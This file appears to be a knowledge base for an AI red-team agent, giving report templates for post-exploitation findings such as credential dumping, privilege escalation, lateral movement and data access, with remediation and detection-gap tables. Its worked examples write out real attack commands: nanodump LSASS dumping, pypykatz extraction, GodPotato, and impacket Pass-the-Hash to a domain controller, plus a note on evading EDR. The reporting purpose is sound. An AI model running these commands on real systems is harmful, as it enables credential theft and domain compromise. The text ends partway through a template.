post-exploit-reporting

# Post-Exploitation Reporting Knowledge Base Post-exploitation findings require richer documentation than reconnaissance findings because they demonstrate real-world impact, test Blue Team detection capabilities, and map the full kill chain traversal. This skill provides phase-specific templates and detection gap analysis guidance aligned with PTES, CREST, and TIBER-EU standards. All agent-authored documents MUST be Markdown format (`.md`). Operational data files (`creds/*.json`, `network_map.json`) are exceptions. ## 1. Phase-Specific Finding Templates Each post-exploitation phase has a specialized template. All templates share the same YAML frontmatter schema but differ in body sections to capture phase-relevant details. ### A. Credential Access Finding (TA0006) ````markdown --- id: FIND-007 severity: high cvss_score: 8.4 cvss_vector: "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N" cwe: CWE-522 mitre: [T1003.001] affected_target: "WEB01 (10.0.0.5)" affected_component: "LSASS process memory" confidence: verified objective_id: OBJ-004 phase: post-exploit agent: postexploit detected: false remediation_priority: immediate discovered_at: "2026-04-06T16:45:00Z" --- # [HIGH] LSASS Memory Dump on WEB01 exposes Domain Credentials ## Description LSASS process memory was dumped on WEB01 (10.0.0.5) using nanodump, yielding NTLM hashes for 3 domain accounts including a service account with Domain Admin group membership. ## Steps to Reproduce 1. From SYSTEM shell on WEB01: ``` nanodump --write C:\Windows\Temp\debug.dmp --valid ``` 2. Transfer dump to attack host: ``` impacket-smbclient //10.0.0.5/C$ -k -no-pass get Windows/Temp/debug.dmp ``` 3. Extract credentials with pypykatz: ``` pypykatz lsa minidump debug.dmp ``` ## Credentials Obtained | Username | Type | Hash/Value | Source Host | Domain | Privilege | |----------|------|-----------|-------------|--------|-----------| | svc_sql | NTLM | aad3b435...7cb | WEB01 | corp.local | Domain Admin | | jdoe | NTLM | e19ccf75...2a1 | WEB01 | corp.local | Domain User | | web_app | NTLM | 31d6cfe0...e0d | WEB01 | corp.local | Domain User | ## Impact The `svc_sql` account is a member of the Domain Admins group. With this NTLM hash, an attacker can perform Pass-the-Hash to gain full control over the Active Directory domain, including all domain-joined systems and data. ## Evidence | Type | Path | Description | |------|------|-------------| | terminal-log | findings/evidence/FIND-007_nanodump.txt | nanodump execution output | | terminal-log | findings/evidence/FIND-007_pypykatz.txt | pypykatz credential extraction | ## Detection Gap Analysis | Control | Fired? | Notes | |---------|--------|-------| | EDR (CrowdStrike) | No | nanodump evaded userland hooks via direct syscalls | | SIEM | No | No alert for LSASS access or suspicious process creation | | Windows Event Log | Partial | Event 4663 logged but not forwarded to SIEM | | Network monitoring | No | SMB transfer blended with normal traffic | Blue team detection status: **Not detected**. LSASS access via direct syscalls bypassed EDR userland hooks entirely. ## Remediation 1. Enable Credential Guard to protect LSASS from memory dumps. 2. Configure EDR to monitor kernel-level LSASS access (PPL enforcement). 3. Forward Windows Security Event 4663 (object access) to SIEM with alerting. 4. Review service accounts: `svc_sql` should NOT be Domain Admin — apply least privilege. ## References - MITRE ATT&CK T1003.001: https://attack.mitre.org/techniques/T1003/001/ - Microsoft Credential Guard: https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/ - CWE-522: https://cwe.mitre.org/data/definitions/522.html ```` ### B. Privilege Escalation Finding (TA0004) ````markdown --- id: FIND-005 severity: high cvss_score: 8.5 cvss_vector: "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" cwe: CWE-269 mitre: [T1068] affected_target: "WEB01 (10.0.0.5)" affected_component: "Windows Token Privileges" confidence: verified objective_id: OBJ-003 phase: post-exploit agent: postexploit detected: false remediation_priority: short-term discovered_at: "2026-04-06T16:20:00Z" --- # [HIGH] GodPotato on WEB01 — svc_web (IIS AppPool) to SYSTEM ## Description The IIS application pool identity `svc_web` holds SeImpersonatePrivilege, allowing token impersonation via GodPotato to escalate from service account to NT AUTHORITY\SYSTEM. ## Steps to Reproduce 1. Confirm SeImpersonatePrivilege: ``` whoami /priv ``` 2. Execute GodPotato: ``` GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\whoami.txt" ``` 3. Verify SYSTEM access: ``` type C:\Windows\Temp\whoami.txt # Output: nt authority\system ``` ## Privilege Chain | Step | From | To | Method | Tool | |------|------|----|--------|------| | 1 | svc_web (IIS AppPool) | NT AUTHORITY\SYSTEM | Token Impersonation (SeImpersonatePrivilege) | GodPotato | ## Impact SYSTEM-level access on WEB01 grants full control over the host, including credential extraction from LSASS, access to all local files, and ability to pivot to other network segments. ## Evidence | Type | Path | Description | |------|------|-------------| | terminal-log | findings/evidence/FIND-005_godpotato.txt | GodPotato execution and whoami output | | terminal-log | findings/evidence/FIND-005_privs.txt | whoami /priv output showing SeImpersonatePrivilege | ## Detection Gap Analysis | Control | Fired? | Notes | |---------|--------|-------| | EDR | No | GodPotato not in signature database | | SIEM | No | No correlation rule for token impersonation | | Windows Event Log | Yes | Event 4672 (special privileges) logged but not alerted | Blue team detection status: **Not detected**. Event 4672 was logged but no alert was configured. ## Remediation 1. Remove SeImpersonatePrivilege from IIS application pool accounts where not required. 2. Configure EDR to alert on potato-family privilege escalation patterns. 3. Create SIEM rule for Event 4672 from non-SYSTEM service accounts. ```` ### C. Lateral Movement Finding (TA0008) ````markdown --- id: FIND-008 severity: critical cvss_score: 9.3 cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" cwe: CWE-287 mitre: [T1550.002] affected_target: "DC01 (10.0.0.1)" affected_component: "Kerberos / SMB" confidence: verified objective_id: OBJ-005 phase: post-exploit agent: postexploit detected: false remediation_priority: immediate discovered_at: "2026-04-06T17:10:00Z" --- # [CRITICAL] Lateral Movement via Pass-the-Hash — WEB01 to DC01 (Domain Admin) ## Description Using the svc_sql NTLM hash obtained from FIND-007, Pass-the-Hash via Impacket's psexec achieved SYSTEM-level access on DC01 (Domain Controller). ## Steps to Reproduce 1. From attack host, use svc_sql NTLM hash: ``` impacket-psexec -hashes :aad3b435...7cb svc_sql@10.0.0.1 ``` 2. Verify domain controller access: ``` whoami # Output: nt authority\system hostname # Output: DC01 ``` ## Movement Details | Source Host | Target Host | Method | Credentials Used | Access Level | |------------|-------------|--------|------------------|-------------| | WEB01 (10.0.0.5) | DC01 (10.0.0.1) | Pass-the-Hash (psexec) | svc_sql NTLM hash | SYSTEM | ## Impact Full domain compromise. SYSTEM access on the domain controller allows: DCSync for all domain credentials, Group Policy modification, creation of persistence mechanisms (Golden Ticket), and access to all domain-joined systems and data. ## Evidence | Type | Path | Description | |------|------|-------------| | terminal-log | findings/evidence/FIND-008_psexec.txt | psexec session and whoami output | | terminal-log | findings/evidence/FIND-008_domain_info.txt | Domain info confirming DC role | ## Detection Gap Analysis | Control | Fired? | Notes | |---------|--------|-------| | Network IDS | No | SMB/psexec traffic not flagged | | EDR on DC01 | Partial | Service creation logged but not correlated with lateral movement | | SIEM | No | No rule for PtH detection via service creation patterns | | AD monitoring | No | No alert for svc_sql authenticating to DC01 | Blue team detection status: **Not detected**. PsExec service creation was logged but not correlated as lateral movement. ## Remediation 1. Remove svc_sql from Domain Admins group immediately — apply least privilege. 2. Deploy Windows Defender Credential Guard on all domain controllers. 3. Enable Advanced Audit Policy for logon events (4624 type 3) with source IP correlation. 4. Implement network segmentation: restrict SMB access to DC from non-admin subnets. 5. Deploy Microsoft ATA/Defender for Identity for PtH detection. ## References - MITRE ATT&CK T1550.002: https://attack.mitre.org/techniques/T1550/002/ - Microsoft PtH Mitigation: https://www.microsoft.com/en-us/download/details.aspx?id=36036 ```` ### D. Data Collection / Exfiltration Finding (TA0009/TA0010) ````markdown --- id: FIND-010 severity: high cvss_score: 8.7 cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N" cwe: CWE-200 mitre: [T1005, T1560.001] affected_target: "FILESVR01 (10.0.0.20)" affected_component: "HR file share (\\FILESVR01\HR$)" confidence: verified objective_id: OBJ-006 phase: exfiltration agent: postexploit detected: true remediation_priority: immediate discovered_at: "2026-04-06T17:45:00Z" --- # [HIGH] Sensitive HR Data accessed on FILESVR01 File Share ## Description Using domain admin credentials, the HR$ administrative share on FILESVR01 was accessed. The share contains personally identifiable information (PII) including employee SSNs, salary data, and performance reviews for approximately 2,000 employees. ## Data Classification | Data Type | Volume | Classification | Regulatory | |-----------|--------|---------------|------------| | Employee SSNs | ~2,000 records | PII / Restricted | GDPR, CCPA | | Salary records | ~2,000 records | Confidential | Internal policy | | Performance reviews | ~500 documents | Confidential | Internal policy | ## Steps to Reproduce 1. Mount HR share with domain admin credentials: ``` net use \\FILESVR01\HR$ /user:corp\svc_sql ``` 2. List contents: ``` dir \\FILESVR01\HR$\ ``` 3. Verify PII presence (do NOT exfiltrate real data): ``` type \\FILESVR01\HR$\employees\sample.csv | head -5 ``` ## Impact Full access to HR data containing PII for ~2,000 employees. In a real attack, this data could be exfiltrated for identity theft, extortion, or sold on dark web markets. Regulatory exposure under GDPR/CCPA. ## Evidence | Type | Path | Description | |------|------|-------------| | terminal-log | findings/evidence/FIND-010_share_listing.txt | Directory listing (filenames only, no PII) | **Note**: No actual PII was exfiltrated per RoE constraints. Evidence contains directory listings and file metadata only. ## Detection Gap Analysis | Control | Fired? | Notes | |---------|--------|-------| | DLP | No | No DLP agent on file server | | SIEM | Yes | Alert triggered for admin share access from non-admin workstation | | File audit | Yes | Windows file access audit logged the access | Blue team detection status: **Detected** (partial). SIEM alerted on admin share access but response was not within SLA. ## Remediation 1. Restrict HR$ share access to named HR admin accounts only (remove Domain Admins). 2. Deploy DLP agent on file servers containing PII. 3. Implement SIEM playbook for admin share access with 15-minute response SLA. 4. Encrypt PII data at rest. ```` ## 2. Detection Gap Analysis Detection gap analysis is the KEY differentiator of red team reporting versus standard penetration testing. For every finding, document whether Blue Team controls detected the activity. ### Per-Finding Detection Table Every finding MUST include a Detection Gap Analysis section: ```markdown ## Detection Gap Analysis | Control | Fired? | Notes |